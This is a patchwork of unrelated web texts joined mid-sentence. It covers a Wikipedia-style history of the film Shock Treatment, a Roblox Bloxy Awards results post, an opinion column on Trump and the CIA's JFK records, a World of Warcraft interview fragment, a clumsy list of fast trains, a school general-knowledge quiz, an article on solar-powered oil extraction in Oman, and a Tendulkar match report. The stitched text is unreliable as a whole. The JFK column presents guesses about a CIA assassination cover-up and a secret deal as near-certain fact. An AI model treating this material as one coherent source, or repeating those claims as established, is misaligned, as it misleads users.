Janet is given a taste of show-biz as Farley molds her into a singing diva superstar in an attempt to take her away from Brad. Her compliance is assured through the use of drugs supplied by the McKinleys. Betty Hapschatt (Ruby Wax) and Judge Oliver Wright (Charles Gray) investigate Farley and other people involved in DTV, eventually discovering that Cosmo and Nation are not doctors, but merely character actors, and Farley Flavors is Brad's jealous, long-lost twin brother, seeking to destroy Brad and take Janet for himself. The pair rescue Brad from Dentonvale and have Brad confront his twin on his show Faith Factory. Farley imprisons the three and Janet, but they manage to escape in a car along with a local band, while the remainder of Denton's citizens follow Farley and commit themselves to Dentonvale.
Cast [ edit ]
Soundtrack [ edit ]
Coinciding with the release of the film, Ode Records issued the soundtrack album on vinyl and cassette in 1981, and later reissued it on CD in 1994.[2] The album includes longer versions of "Thank God I'm a Man" and "Carte Blanche", as well as two unlisted bits taken directly from the film, the Farley Flavors "commercial break" (after "Denton U.S.A.") and the rhyming dialogue, which directly precedes "Duel Duet" (after "Breaking Out").[3]
All editions are missing Richard O'Brien's solo version of the title song (which plays during the end credits and features backing vocals by Nell Campbell), though it was released as a 7" vinyl single,[4] and included on the CD Songs from the Vaults: A Collection of Rocky Horror Rarities,[5] which was exclusive to the Rocky Horror Picture Show 15th Anniversary boxed set.[6][7]
Song Chief singer(s) Other singers Overture N/A (Instrumental) N/A Denton U.S.A. Neely, Harry, Emily, Vance,
Brenda, Frankie, Ralph, Macy Audience Bitchin' in the Kitchen Brad, Janet N/A In My Own Way Janet N/A Thank God I'm a Man Harry Audience Farley's Song Farley Cosmo, Nation, Ansalong, Ricky Lullaby Nation, Cosmo, Janet, Ansalong, Ricky N/A Little Black Dress Cosmo, Janet, Bert, Nation N/A Me of Me Janet Frankie and Brenda Shock Treatment Cosmo, Nation, Ansalong Janet, Ricky, Bert, Harry, Emily Carte Blanche Janet N/A Looking for Trade Janet Brad Look What I Did to My Id Emily, Harry, Cosmo, Nation,
Macy, Ralph, Ansalong, Ricky N/A Breaking Out Oscar Drill The Bits Duel Duet Farley, Brad N/A Anyhow, Anyhow Brad, Janet, Oliver, Betty All characters (including chorus and other minor characters)
Production [ edit ]
Development [ edit ]
Following the unexpected and overwhelming success of The Rocky Horror Picture Show on the midnight circuit, Richard O'Brien approached producer Michael White with the idea of making a sequel.[8] In 1978, he began work on a script titled Rocky Horror Shows His Heels,[9] which found Frank and Rocky resurrected, Brad and Dr. Scott turned gay, and Janet on the verge of giving birth to Frank's baby. Director Jim Sharman was resistant to revisit the material and Tim Curry had no desire to reprise the role of Frank,[10] but O'Brien had put some work into the songs, so he decided to retain them and simply revise the story.
The new script was titled The Brad and Janet Show.[11] This version is closer to what ultimately became Shock Treatment and was planned to be produced, but the filmmakers were plagued with a variety of problems. Dr. Scott had been included in the script, but Jonathan Adams was not interested in reprising his role.[10] Curry had committed to portray Farley Flavors, but when he discovered Barry Bostwick was unavailable and he would have to play the dual roles of Farley and Brad, Curry backed out too, thinking he could not pull off a convincing American accent.[10] The filmmakers intended to shoot on location in Denton, Texas,[12][13][14] but production screeched to a halt in 1980 when the Screen Actors Guild went on strike.[15]
With only a small window when cast and crew were available, the filmmakers had to get creative. Television had been a heavy motif in the script, so production designer Brian Thomson came up with the notion to rework the story and set it in a giant TV studio, utilizing a film studio in England,[8] which shaved $1 million from the budget[15] and gave them the luxury of working in a controlled environment. The script endured a final draft in which all of the locations were changed to television shows, and the role of Dr. Scott morphed into game show host Bert Schnick. "I was frightened the strike was going to finish too soon and we’d have to go back to our original conception," commented O'Brien.[15]
Casting [ edit ]
Although numerous Rocky Horror cast members returned for the film, only Jeremy Newson reprised his role as Ralph Hapschatt. However, due to his title of Judge, some fans have speculated that Gray is also reprising his role of the unnamed Criminologist. In addition to actors from Rocky Horror, other alums filled out the cast. Many of the original film's Transylvanians appeared as audience members, while Imogen Claire was given the slightly-larger part of the Wardrobe Mistress. Raynor Bourton, who originated the titular role of Rocky in the stage production, portrayed one of the singing soldiers in Thank God I'm a Man, and Chris Malcolm, who originated the role of Brad Majors, was cast as Vance Parker, a local police officer. Founder and long-time president of Rocky Horror fan club, Sal Piro, also has a silent cameo appearance as the man using the payphone during the opening sequence.
Susan Sarandon's star was on the rise, so she demanded more money to return than the budget allowed.[16] Auditions were held at The Roxy theater to find a suitable replacement, and Jessica Harper, previously of Brian De Palma's cult musical Phantom of the Paradise, dazzled the filmmakers with her singing skills.[14]
Cliff De Young had been Sharman's original choice for Brad in The Rocky Horror Picture Show, as the two had worked together on the 1972 off-Broadway play Trials of Oz,[14] but De Young was starring on the television series Sunshine in California, thus unable to appear. Upon learning that Bostwick was unable to participate in Shock Treatment, Sharman tracked down De Young and gave him the role.[14] This afforded De Young the opportunity to reunite with Harper, with whom he had co-starred in a stage production of Hair.[14][17]
Filming [ edit ]
As is standard with musicals, music and vocals were recorded prior to principal photography[17][18] at the renowned Abbey Road Studios.[14] The first scene shot was the Farley Flavors commercial break with Macy Struthers and a group of children. Wendy Raebeck was ill and collapsed after one of her takes.[18]
De Young modeled his performance of Brad after David Eisenhower, and based Farley on Jack Nicholson.[19] The elaborate opening shot begins on Farley in the overhead video booth, and the camera slowly does a 360° pan around the room as the crew prepares for the show and Brad and Janet enter the studio. For this scene, De Young had to do a quick change and quickly run downstairs to hit his second mark.[18] Duel Duet was shot over the course of a day, with De Young spending the morning shooting his scenes as one character and the remainder of the day costumed as the other.[14] He began with a very restrained performance of the song but was encouraged to go broader, and was pleased with the final result.[14]
Reception [ edit ]
In spite of pre-release hype (including a promotional TV special called The Rocky Horror Treatment),[20] the film was both a critical and commercial failure when it was released only as a midnight movie on Halloween 1981. It never received a full general theatrical first-run release. Due to its increased budget and box office failure, Shock Treatment was an even bigger flop than Rocky Horror's original general release in 1975.[citation needed] Rotten Tomatoes, a review aggregator, reports that 50% of six surveyed critics gave the film a positive review; the average rating is 6.1/10.[21]
In one of his television reviews, Roger Ebert said that he felt Rocky Horror fans would reject a movie that was specifically targeted at them, remarking that "cult film audiences want to feel that they have seen the genius of something that everybody else hates. They discovered this film, they know it's good, everyone else thinks it's garbage."[22] Shock Treatment was quickly dismissed by most Rocky Horror enthusiasts who were confused by the re-casting of the leads, put off by the fact that Tim Curry did not participate, and resented Richard O'Brien's infamous tagline, "It's not a sequel... it's not a prequel... it's an equal"[13] (O'Brien later recanted, frequently criticizing the film by going so far as to refer to it as "an abortion").[6] Gradually, however, Shock Treatment did build up a cult following all its own and, as Ebert unintentionally wrote, many contemporary reviewers remark that it was initially condemned in part because it was too ahead of its time, being a prescient satire of reality television.[23][24][25]
Home media [ edit ]
The film first surfaced on VHS in Australia in 1982,[26] and this was quickly followed by other releases around the world on VHS, Betamax and LaserDisc.[27][28]
A special edition DVD, labeled as the 25th Anniversary Edition, was issued in the United States on September 5, 2006, both as a stand-alone release[29] and packaged with the 2-disc Rocky Horror special edition.[30] Special features include an audio commentary with fan club presidents Mad Man Mike and Bill Brennan, a making-of featurette, a music retrospective featurette, and domestic and international trailers.[31]
Virtually every home video edition has suffered from audio flaws.[32] VHS and Beta editions included warbling anomalies[31] during the Overture and Farley's Song, which briefly knocked the sound out of sync. All DVD releases include a brief sound dropout before the last chorus of Denton U.S.A., and a chunk of the end credit Overture has been lopped off to prematurely fade into the single version of Shock Treatment. The original version features the complete Overture playing over the credits, with Shock Treatment continuing over a black screen as exit music. This edit shortens the film's running time from 94 to 92 minutes.[33]
In 2017, the british label Arrow Video released the film on Blu-Ray in the UK which featured a new commentary with Quinn and Little Nell, as well as "The Rocky Horror Treatment".[34] However, as of now, it has yet to have a Blu-Ray release in the States.
Stage adaptation [ edit ]
Production [ edit ]
Starting in the mid '00s director Benji Sperring, a fan of the film, pursued Richard O'Brien for nearly a decade trying to acquire the rights to produce a stage adaptation.[35] O'Brien finally relented and gave his consent, stipulating that it had to be staged in a very small, intimate venue, as the original The Rocky Horror Show had been.[35] On this proviso, the show wound up at the King's Head Theatre in Islington, London, where artistic director Adam Spreadbury-Maher made the suggestion that Tom Crowley adapt the script.[36] Crowley had never seen the film, and read the screenplay first to prepare for his interview.[37] He was initially apprehensive about the project, but Sperring's vision was so concise that he agreed. It was reported that O'Brien adapted and produced the show, but he remained fairly hands-off. O'Brien, co-composer Richard Hartley and Sperring agreed on the story's direction prior to scripting,[37] and they consulted primarily through email during the rest of the production process.[38]
Sperring and Crowley reworked the story, eliminating most of the supporting and peripheral characters. "A big point of inspiration for me came from the screenplay that became Shock Treatment, The Brad and Janet Show," commented Crowley, "wherein the major factor in Brad and Janet's marital difficulties was that Janet had just been promoted at the local TV studio and Brad had just lost his job."[37]
"The biggest shock is that in the original movie, there isn't any shock treatment," Sperring remarked.[35] "They don't really explore that, so we've put that back in."
The production premiered at the King’s Head theatre in Islington, London in the United Kingdom in the spring of 2015.[39]
Cast [ edit ]
Julie Atherton as Janet Majors
Ben Kerr as Brad Majors
Mark Little/Pete Gallagher as Farley Flavours
Mateo Oxley as Ralph Hapschatt
Rosanna Hyland as Betty Hapschatt
Nic Lamont as Nation McKinley
Adam Rhys-Davies as Cosmo McKinley
Reception [ edit ]
The Stage singled out Mark Little as being scarcely able to carry a tune,[40] but Carrie Dunn wrote in her review for Broadway World, "his sheer charisma and presence is absolutely perfect."[41]
See also [ edit ]Fantastic work to all the nominees for the 4th Annual Bloxy Awards! From games to social groups, across desktops, phones, tablets, and consoles, the Roblox community has brought us closer than ever to our vision of Powering Imagination™. Everyone who we saw on-screen at the Bloxys should be proud of all their hard work and achievements.
This was by far the biggest Bloxy Awards ceremony ever. Here are some facts about the immensity of this year’s Bloxys:
Our Red Carpet event on Friday received 125K views from unique viewers.
The Bloxy Awards garnered 550K unique views in 48 hours and became Twitch’s featured stream on the homepage, beating out PAX South’s streams.
On Twitter, over 20K tweets used #BloxyAwards.
#BloxyAwards became a top trending Twitter hashtag for 2 consecutive days in the U.S. and U.K.
Now that’s what we call participation!
Special congratulations to everyone who won a Bloxy Award! These awards go to the most beloved games, videos, developers, and more in the Roblox community. These belong to some of the most innovative and hard-working creators on the platform. These players inspire all of us on Roblox to invent big and imagine bigger.
In case you missed the Bloxy Awards or don’t remember who won, we saved the Awards ceremony on our Twitch and YouTube channels for you to watch. We’ve also listed each of the awards and the winners below. Here are the voter categories for the 4th Annual Bloxy Awards:
Favorite Breakout Game: Pokémon Brick Bronze by Pokémon BrickBronze Version
Favorite Updated Game: Murder Mystery 2 by Nikilis
Hardest Roblox level: Flood Escape by Crazyblox
Best Single Player Game: Island Adventures Sponsored by Moana by Elite Builders of Robloxia
Best Team Based Multiplayer Game: Phantom Forces by StyLiS Studios
Best Free-For-All Multiplayer Game: Murder Mystery 2 by Nikilis
Game You’ve Spent the Most Hours Playing: Phantom Forces by StyLiS Studios
Best Art Direction in a Game: Design It! by teamkilled
Best Mobile Game: Work at a Pizza Place by Dued1
Favorite Showcase: Temple of Memories by Crykee
Favorite Map: Speed Run 4 by Vurse
Best Lobby: Roblox Deathrun by Team Deathrun
Best GUIs: Roblox High School by Cindering
Best YouTube Channel: dantdm
Best Comedic Roblox Video: Hide and Seek Extreme / YOU WON’T BELIEVE THIS SPOT! By Corl
Best Action Roblox Video: Magnetic
Best Music Video: Roblox Bully Story
Best Fan Art: Rastamypasta
Best GIF: XShirt
Best Roblox Live Streamer: gamer chad
Best Original Music Score: Roblox High School by Cindering
Favorite Clothing Company: Fresh Era Clothing
Favorite Battle Group: f.e.a.r
Favorite Social Group: Roblox High School: Fan Club
Developer of the Year: TwentyTwoPilots
Builder of the Year: TwentyTwoPilots
Game of the Year: Pokemon Brick Bronze by Pokémon BrickBronze Version
Video of the Year: Pokemon Brick Bronze Trailer 2
We also introduced several new awards for Data and Innovation. We created the Data Awards for games that broke records on Roblox, from most visitors to highest average playtime. The Innovation Awards were hand-picked by the Roblox staff for games that went above and beyond in the Roblox community.
Data Awards
Most Concurrents – PC: RoCitizens by Firebrand1 with 23,000 PC concurrents
Most Concurrents – Console: Lumber Tycoon 2 by Defaultio with 6,000 console concurrents
Most Concurrents – Mobile: Prison Life 2 by Aesthetical with 5,000 mobile concurrents
Most Concurrents – Tablet: Roblox High School by Cindering with 7,000 tablet concurrents
Most Concurrents Overall: MeepCity by alexnewtron with 62,000 concurrents
Highest Average Playtime: Pilgrim Islands Reborn by Maelstronomer with an average playtime of 32+ minutes
Highest Rated: Pokemon Brick Bronze by Pokémon BrickBronze Version
Most VIP servers: Murder Mystery 2 by Nikilis
Most Returning: Notoriety by Brick_man
Most Visits – PC: Phantom Forces by StyLiS Studios with 96 million PC visits
Most Visits – Console: Lumber Tycoon 2 by Defaultio with 33 million console visits
Most Visits – Mobile: Prison Life 2 by Aesthetical with 41 million mobile visits
Most Visits – Tablet: Roblox High School by Cindering with 59 million tablet visits
Most Visits Overall: Prison Life 2 by Aesthetical with 178 million visits
Innovation Awards
Community Excellence Award: Miner’s Haven by berezaa Games™
Technical Achievement Award: MeepCity by alexnewtron
Best Use of Lighting and Rendering: VOLT by TeamVolt
AAA Game: Theme Park Tycoon 2 by Den_S
Excellence in Animation: POLYGUNS by Mailbox Games
Best Use of R15: Mount of the Gods by Wheatlies and DoogleFox
UI Design: Theme Park Tycoon 2 by Den_S
Mobile Design: Rollernauts by Numoji
The last award of the night was the Builderman Award of Excellence, which went to: Theme Park Tycoon 2 by Den_S!
We hope you all enjoyed the 4th Annual Bloxy Awards! Here’s to another incredible year on Roblox. We’ll see you at next year’s Bloxy Awards!While the mainstream media was announcing for the past two weeks that President Trump was going to release the CIA’s long-secret records on the JFK assassination, I took a different position. On Monday of this week, I predicted that Trump would make a deal with the CIA that would enable the CIA to continue its cover-up of the JFK assassination. (See “I Predict Trump Will Continue the CIA’s JFK Assassination Cover-Up” and “No Smoking Guns in the JFK Records?”)
On Thursday, the day of the deadline established by law for releasing the records, Trump granted the CIA’s request for continued secrecy, on grounds of “national security,” more than 50 years after the Kennedy assassination.
Please, don’t start calling me Nostradamus. A blind man could see what was happening. Donald “Art of the Deal” Trump was obviously negotiating all week with the CIA, and he was obviously pushing to get what he wanted all the way up to the very last day. On Thursday, the deadline established by law for releasing the records, the CIA undoubtedly blinked and Trump presumably got what he wanted in return for granting the CIA’s request for continued secrecy.
Some mainstream media commentators are criticizing the CIA for waiting until the very last day to make its case for continued secrecy. Displaying their naivete, they demonstrate their lack of understanding about how things work in Washington, D.C. As I indicated in my Monday article, when someone in the federal government needs a favor from someone else, the someone else is going to ask for something in return.
The fact is that the CIA put in its request to Trump for continued secrecy of its JFK records long before yesterday. But “Art of the Deal” Trump obviously sat on the request, undoubtedly hoping that he could get what he wanted in return if he just continued holding out and conveying that he was ready to release the records.
Don’t forget: According to Trump’s own tweets, he had already ostensibly decided to deny the CIA’s request for secrecy before the Thursday deadline:
Trump tweet sent on Saturday, October 21: “Subject to the receipt of further information, I will be allowing, as President, the long blocked and classified JFK FILES to be opened.” Trump tweet sent on Wednesday, October 25: “The long anticipated release of the #JFKFiles will take place tomorrow. So interesting!
Now, it’s theoretically possible that the CIA presented Trump with some earthshattering new information on the Thursday deadline that showed that the United States would fall into the ocean if Americans were finally permitted to see the CIA’s long-secret JFK records. But how likely is that? Not likely at all!
Instead, it is a virtual certainly that when Art of the Deal Trump sent out those two tweets, he was sending a message to the CIA as part of the negotiations: Give me what I want or I will release the records. In the negotiations, both Trump and the CIA knew that Trump was in the catbird seat.
In the end, the CIA blinked, just as Trump knew it would. Contrary to what the mainstream press is asserting, the records undoubtedly contain more incriminating circumstantial evidence that fills in the mosaic of a U.S. national-security regime-change operation on November 22, 1963. That’s what the mainstream media, forever wedded to the official story no matter how ridiculous and illogical it is, simply cannot bring themselves to confront.
Trump knew that he had the CIA over a barrel. As I indicated in my two articles this week, the CIA was between a rock and a hard place. On the one hand, it could refuse to grant Trump what he wanted and let the records be released, which it knew would point to the CIA’s guilt in the assassination. On the other hand, it could give Trump what he wanted and have to suffer the obvious inference that people would draw — that the CIA was continuing to cover up incriminatory evidence.
What did the CIA give Trump in return for Trump’s extending the CIA’s 50-year-plus secrecy? We don’t know, but my hunch is that it pertains to Russia. Here’s my next prediction: the congressional investigations into Trump’s supposed “collusion” with Russia are about to fizzle out. That’s because I believe that the CIA, as part of its deal with Trump, will order its assets in Congress to cease and desist with respect to that investigation. In my opinion, that’s the price the CIA had to pay in return for its continued cover-up of its U.S. regime-change operation in November 1963.
Notice something else about the deal that Trump has presumably made with the CIA: The secrecy arrangement extends only to April. Ostensibly, the next six months are needed to carefully review the records to determine whether the records really to relate to “national security.”
Not surprisingly, the mainstream media isn’t even questioning that ludicrous notion. For more than 50 years, the CIA has known why it has wanted those particular records to be kept secret. During the term of the Assassination Records Review Board in the 1990s, the CIA decided to keep these particular records secret for another 25 years. There are bound to be lots of CIA memoranda detailing why it was imperative to keep these particular records secret for as long |
to how you use their abilities too, so they’re not just background, it’s actually a pretty critical mechanic of beating the fight.
Transmogrification question, when you transfer the appearance of something that is enchanted with say, Mongoose, will that effect go over?
Ghostcrawler: No, the enchants won’t go over. You’ll have to enchant the weapon the same way you would a non-transmogrified weapon.
Right now leveling and gearing up alts takes a significant amount of time and investment. Are there any improvements coming in this area?
Ghostcrawler: In 4.3, we’re actually increasing the leveling rate of Northrend pretty dramatically. We’re dropping the time it takes by a third. The players should notice that. Long-term we recognize that we definitely are going to have a problem at some point. If World of Warcraft’s character level is like 120 someday, it is asking an awful lot of players to hurry through all of that to get to the endgame if that is what they are interested in. We’re taking about various mechanics we might eventually do to help out with that, but in the short-term, just increase leveling rate in Northrend.
Okay, great. Thank you so much for your time!world's fastest train
world's fastest train
Tokaido Shinkansen
JR-Maglev MLX01
Shanghai Maglev Train
Korean Train Express (KTX)
Taiwan High Speed Rail
Train a Grande Vitesse (TGV)
InterCity Express (ICE)
Transrapid
Direttissima
Eurostar
– JapanJapan shocks the world by launch this train on 1964 to serve Tokyo-Nagoya-Kyoto-Osaka route, and the speed of this train is only 201km/h– JapanThis train is included into superconducting magnetic levitation train (maglev) that in it's test run the train can reach 581km/h, but this train is not commercially operated. and china going before japan by launch their maglev train's earlier in 2004.– ChinaBuild by german technology, this train can reach the speed of 430km/h and can take the passanger from pudong international airport to Longyang Road Station in the center of the city for only 8 minutes– South KoreaIn 2004 south korea is become the second countries in asia beside japan which build the high speed train line that connect several main city. KTX Technology adopt TGV technology (High speed train from france)– TaiwanAfter delayed for several years, finally Taiwan High Speed Rail launched on 5 january 2008, this train are built based on Japanesse Shinkansen Technology, this train are cutting the travel time from Taipei to Kaoshiung from the previous 4 hours into 90 minutes.– FranceLaunched in early 80's. TGV served the route from Lyon and Paris, after gather a success, the route was added to another city in france even the other countries. this train are developed by Alstom SA - The second biggest train factory in the world. and break the speed record for 515km/h for conventional wheel train– GermanyIn the early of 90's german launch this train for serve Hannover, Wurzburg, Mannheim, and Stuttgart route, this train are developed by Siemens and can reach speed of 280km/h– GermanyGermany also made a Maglev train that can reach 550km/h speed but unfortunately on september 2006 the accident happen to those train near to Lathen city and kills 23 people– ItalyFinally italy launched Direttissima train to serve the route from rome and florensia with the speed of 254km/h– Great britainThis train start operating in 1994 and serve route from london to france and belgia(across underwater channel strain tunnel) travel time from london to paris consume 2hours and 35 minutes with this train.That's all about the fastest train, and i hope this post can add your knowledge.. oh yeah please don't forget to read the world's most luxurious caravanWhence did the Spitfires fly? Who dances like a jelly on a plate? Where does the train stop in silence? Yes, it's the big hard quiz of the year
General knowledge paper 2011-2012, sat by the pupils of King William's College, Isle of Man
"Scire ubi aliquid invenire possis ea demum maxima pars eruditionis est"
1. In the year 1911:
1 What disaster befell the Asch Building?
2 What was removed from the Salon Carré?
3 Whose stencilled letters included A, B, C, D, O & L?
4 Where were the twin clocks started at George's crowning moment?
5 Who wrote of a multitalented peer and the Warden's grand-daughter?
6 Who explained how the squaws caused pallor in the Jesuit preachers?
7 Who shot to fame during a performance of The Tale of Tsar Saltan?
8 Who took pole position ahead of British opposition?
9 Who silently portrayed Marguerite Gauthier?
10 Who agreed to receive £400 per annum?
2.
1 Who designed forty-four maps for a 120m long corridor?
2 In which map is a cross-legged Caesar Augustus wearing the triregnum?
3 Whose original map of old Gwynedd shows Neptune embracing a naked lady?
4 Who first used continuous and broken lines to indicate fenced and unfenced roads?
5 Whose map can be seen in different paintings by the Delft master in the Rijksmuseum and the Frick Collection?
6 Whose map of the British Isles was decorated with portraits of post-conquest monarchs up to and including James I and Anne of Denmark?
7 Who placed an ostrich and an elephant on the map he presented to Selim I?
8 Which OS competitors included a vignette of Appleby among their county maps?
9 Whose name was adopted for a cartographic museum in the Land de Waas?
10 Who made a presentation of a giant atlas to the king on his restoration?
3.
1 Who found a cut above in coping with melancholy?
2 Which of Bolingbroke's nephews was the celebrated patron of early exploration?
3 Who wrote about a harpsichordist and a pioneer aviator and won gold in Stockholm?
4 Who, by virtue of his marriage, was required to expel all Jews who failed to convert to "New Christians"?
5 Who allied his army with that of the deposed Sultan, but died in his attempt to conquer the Moorish infidels?
6 Which theologian, although numerically misplaced, was an authority on both ophthalmology and gynaecology?
7 Who had the captain of the Concepción decapitated, then drawn and quartered, for mutiny at Puerto San Julian?
8 Whose support of Pedro in his tussle with his brother necessitated escape in a wine barrel?
9 Who, as queen dowager of one country, became regent in the country of her birth?
10 Who disobeyed his prime minister and surrendered on 19 December?
4. Which tale or tales:
1 is all about Hester's badge of shame?
2 investigates the murder of Robert Ablett?
3 describes Lamb's problems in the Banda Orientál?
4 relates the heroic story of the survivor from Charybdis?
5 describes the criminal activities of Alex, Dim, Georgie and Pete?
6 describes a prize fight between the gamekeeper and the coxswain at the Dripping Pan?
7 considers the murder of an expat philanderer in East Africa?
8 tells of how Dick and the outlaw dress up as friars?
9 are set in the moorlands above Tweedsmuir?
10 reveals the ghost of a don at All Saints'?
5. What:
1 brings light?
2 is named for its inactivity?
3 has a malodorous tetroxide?
4 has a particularly frustrating resistance to corrosion?
5 Skärgård settlement has shared its name with four examples?
6 was named as the daughter of 4, but only shed its alternative name in 1949?
7 was alleged by some to be a pun on its discoverer's name?
8 sounds like some sort of hobgoblin?
9 was identified in Lochaber?
10 quite simply stinks?
6. What:
1 is a deadly oxymoron?
2 has insecticide properties?
3 could be a cheap form of confectionery?
4 grotesque body has achieved a girth of 64 inches?
5 two names, applied to a firelighter suggest muscle relaxation and recall kitchen negligence?
6 better known as one of Rainier's features, is the most common source of what favourite hallucinogen?
7 sinister form of headgear probably accounted for a Holy Roman Emperor?
8 parasite is nominally associated with Iscariot?
9 precious stone is deceitful?
10 is also a lamellibranch?
7.
1 Where is Maddison's Golden Boy?
2 What was named, literally, Salt-pans by the Romans?
3 Where do a few surviving hedges keep alive our lost Elysium?
4 As what did an American president describe the Libyan dictator?
5 Where did close neighbours claim the invention of a device for observing at a distance?
6 Where can a little-changed double row of trees still be seen 322 years after its capture on canvas?
7 In which Study did Sir James, disappointingly, marry Celia instead of her sister?
8 What on first sight was thought to be a classically educated crotalid?
9 Whence did the Spitfires fly during The Battle of Britain?
10 Who dramatised a notorious cutter of purses?
8. What:
1 distinguishes armillata?
2 title was inaugurated before Agincourt?
3 else did he end apart from PM, CH and OM?
4 action did his inamorata take prior to the duet?
5 did fat-guts command that Harry should use to hang himself?
6 function was required of Bertha's garter during the trip from Mannheim to Pforzheim and back?
7 sartorial feature earned comment from Lear's Fool?
8 was dangling from Buckingham's death bed?
9 does make some obstruction of the blood?
10 might I have as a threat of punishment?
9. Where:
1 does the train stop in silence?
2 did Hilda extract a badly mauled shrimp?
3 is an execution remembered annually in October?
4 did the town nominally suffer episcopal deprivation?
5 was a village store opened which would become the world's largest?
6 did Sir John entrust his foundation to one of the Livery Companies?
7 is there a fully clothed life-sized wax effigy of Sarah?
8 did the doctor use an old bream as a weathercock?
9 did the bishopric exist for just nineteen years?
10 is there a statue to the corn deity?
10.
1 Who took on three regencies?
2 Which consort outlived the King by 61 years?
3 Who steered behind the umbrella on Lake Maggiore?
4 Who received details of the School of Pain from her invalid cousin?
5 Whose love for one was like the foliage in the woods, but for the other resembled the eternal rocks beneath?
6 Whose love letter included the words "I wode you war wythe me now that you mouthe se wat pane I take yn wryteg to you"?
7 What request received the response "what, in the midst of the street?"?
8 Whose canine collection included items about clouds and sky?
9 Whose dancing is likened to a jelly on a plate?
10 Who recently excluded obedience?
11. Where:
1 is the aluminium Majestas?
2 has the gondola been suspended since 1906?
3 can the bells be heard ringing beneath the water?
4 where could 30 candles be lit across a flat stone?
5 was there a fatal derailment on the first day of service?
6 was the iron-work protected from corrosion with linseed oil and not, as Alice was told, with wine?
7 did the polyglot Victorian traveller try out his Arabic?
8 did Babs lie buried in the dunes for 42 years?
9 did Baldwin meet Rhys for the second time?
10 did the French surrender at the Royal Oak?
12. Unmask:
1 Rosa
2 Aymer
3 Reinmar
4 Clarence Donne
5 Alexander Thomson
6 Captain Theophilus Digby
7 Andrew Watson
8 James Smith
9 Newsom
10 Tuke
13.
1 What were Uasini Maconoa
2 What mixture is favoured by the poacher?
3 Where did York and Suffolk have a bloody embrace?
4 What is the annual award for the best imaginary prose writer?
5 What heavenly body became synonymous with the abuse of Royal power?
6 Where did the little gentleman in black velvet cause a clavicular fracture?
7 Where were paired cast iron lighthouses erected on the beach?
8 Whose name was used by Lugard for a new coal outlet?
9 From where is it only a mile over the hill to Esnes?
10 What, where is juglandaceous?
14.
1 What is viscivorus?
2 Who was the victim of Bowman Passer?
3 What name was given to 9903 and 2001?
4 What imposter combines engraulids with scrambled egg?
5 What alludes to two losses and uncertainty about the way forward?
6 Whose wife was likened by his friend to a white antelope from Snowdonia?
7 Who directed the disappearance of a spinster in Mandrika?
8 What operation cleared a Limburg geometrical feature?
9 Who got 4 in 4, 5 in 6, 6 in 9 and 7 in 11?
10 What characterises Jock Scott's cheeks?
15. Which character rhymed:
1 tussle and muscle?
2 knowledge, he and apology?
3 Chamberlain and moral stain?
4 kindred soul and sausage-roll?
5 everybody earns and income-tax returns?
6 wrote of Queen Anne and Sodor and Man?
7 Parliamentary hive and or Conservative?
8 been acuter and simple pewter?
9 lot o' news and hypotenuse?
10 Horace and Morris?s
16. Which patriot of which country:
1 was eulogized by Harry
2 died at the hand of one who had started life as Ramachandra?
3 was declared innocent following a retrial 25 years after execution?
4 wrote about the execution of Gerhard and was murdered by the Gestapo?
5 anticipated Latimer and Ridley by 140 years and uttered in Latin "Holy Simplicity"?
6 founded a journal in London, which would have been translated as Thought and Action?
7 the son of a general and senator, shot the Governor General and then himself?
8 was hanged publicly 28 months after the start of the January Uprising?
9 was defrocked and later executed following betrayal by Elizondo?
10 was reburied 31 years after his secret execution?
17.
1 Who started off as Nijntje?
2 Who played patty-cake with Acme?
3 Who was the tyrannical leader of the Efrafans?
4 As what did the Australian dog perceive the gentleman dancing on an ashpit?
5 Which swamp-dweller sustained auricular damage prior to rescue from the Black Serpent?
6 Whose marital violence led indirectly to the accidental drowning of his baby daughter Rebecca June?
7 What popular design was started by an Augustinian Canoness of the Lateran?
8 Who put on spectacles and was directed to begin at the beginning?
9 Who brewed very good ale for gentlemen?
10 What is essentially cheese on toast?
18. During 2011:
1 who looked a million dollars?
2 which white mouse has left the Star and Garter?
3 where did Kid Cassidy get over a very nasty shock?
4 which obdurate crustacean has very sadly had to call "Over"?
5 which sometime successor to Isaac Barrow found his position untenable?
6 where was it admitted that with the benefit of historical hindsight we can all see things which we would wish had been done differently, or not at all?
7 why will Col Reynolds and Lord Meldrum never be the same?
8 whose killing thrust heralded a monumental redundancy?
9 who crawled charitably through Bablock Hythe?
10 which head was axed at the Tower?
The answers will be printed in an issue of G2 towards the end of January and will also be posted on the King William's College website: kwc.im
• The answers will appear in the Guardian and on the King William's College website some time in JanuaryThis post has been updated.
There’s a huge project taking shape in the deserts of Oman. It will extract crude oil from the ground by pumping vast quantities of steam into it. To produce the steam, water will be brought to a boil using as much as a gigawatt of energy. The source of that energy: the sun.
Using solar power to get fossil fuels out of the ground will strike some as ironic—especially since, if that method weren’t available, the high cost of extracting the oil might lead to more pressure to use cleaner energy sources, such as solar, instead.
GlassPoint/Youtube Impression of the Miraah project.
But GlassPoint, the American company behind the new technology, says that the project and others like it will help fossil-fuel drillers limit carbon emissions. The process of “enhanced oil recovery,” where steam is used to loosen thick oil and make it easier to pump, usually involves burning natural gas to heat water. GlassPoint says its technology can cut that gas consumption, and the consequent carbon emissions, by up to 80%.
Work began in November 2015 on the Oman project, called Miraah, which will eventually be one of the largest solar thermal plants in the world (a smaller pilot scheme has been in place there since 2012). Large, thin, curved mirrors are used to concentrate the sun’s rays onto tubes containing water. The mirrors—enclosed in greenhouses (see top image) to protect them from dust and other harsh conditions—move to track the sun’s progress through the sky. The company has already deployed its technology at an oilfield in its native state, California.
Funding comes from Petroleum Development Oman, the largest oil producer in the sultanate. GlassPoint also has investment from Royal Dutch Shell and Total, as well as venture capital. The region is increasingly capitalizing on its reliable sunshine and large open spaces to produce power from the sun—though up to now it’s usually been in order to generate electricity, not more oil.
Update (Feb. 19): The headline of this post has been updated to reflect the fact that the inventor of the technology is not itself an oil company.Media playback is not supported on this device Sachin Tendulkar has scored more runs than any other professional cricketer in the history of the sport
Second Test, Mumbai (day one): West Indies 182 v India 157-2 Match scorecard
India legend Sachin Tendulkar stylishly moved to 38 not out on the first day of his 200th and final Test match.
Arriving at the crease in his home city of Mumbai with India 77-2 after West Indies had been bowled out for 182, the 40-year-old took the hosts to 157-2.
After almost pushing his first delivery to short leg, Tendulkar swept his third ball to get off the mark.
He went on to strike six boundaries in 73 balls, sharing an unbroken stand of 80 with Cheteshwar Pujara.
